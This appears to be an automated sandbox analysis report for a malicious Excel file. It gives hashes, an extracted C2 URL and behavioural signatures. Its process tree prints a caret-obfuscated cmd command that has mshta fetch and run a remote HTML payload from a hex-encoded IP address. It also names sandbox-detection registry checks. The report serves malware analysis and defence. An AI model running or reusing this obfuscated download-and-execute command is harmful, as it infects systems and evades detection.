Analysis
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max time kernel
149s -
max time network
155s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
17-01-2022 22:03
Behavioral task
behavioral1
Sample
aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc.xls
Resource
win10-en-20211208
Behavioral task
behavioral2
Sample
aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc.xls
Resource
win10-en-20211208
General
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Target
aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc.xls
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Size
64KB
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MD5
9c04ae80f6d403f686236383673c96e5
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SHA1
aa036250ec5886e05c0bc63df44a72ffedd9f056
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SHA256
aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc
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SHA512
256b0da900c5145927c0ea3de95b97fa19d0478a0618b14a5c0fc06fe55d708d0ee796aa69686ad1b0446f145b81783c36859573003d257b462d5419016b13a6
Malware Config
Extracted
http://0xc12a24f5/cc.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2444 3168 cmd.exe 67 -
Blocklisted process makes network request 1 IoCs
flow pid Process 46 2752 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3168 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE 3168 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3168 wrote to memory of 2444 3168 EXCEL.EXE 70 PID 3168 wrote to memory of 2444 3168 EXCEL.EXE 70 PID 2444 wrote to memory of 2752 2444 cmd.exe 72 PID 2444 wrote to memory of 2752 2444 cmd.exe 72
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\aafb383aa037a43175e0f54162dcd03405ec541a150e6752d7193995ef9071cc.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3168 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\system32\mshta.exemshta http://0xc12a24f5/cc.html3⤵
- Blocklisted process makes network request
PID:2752
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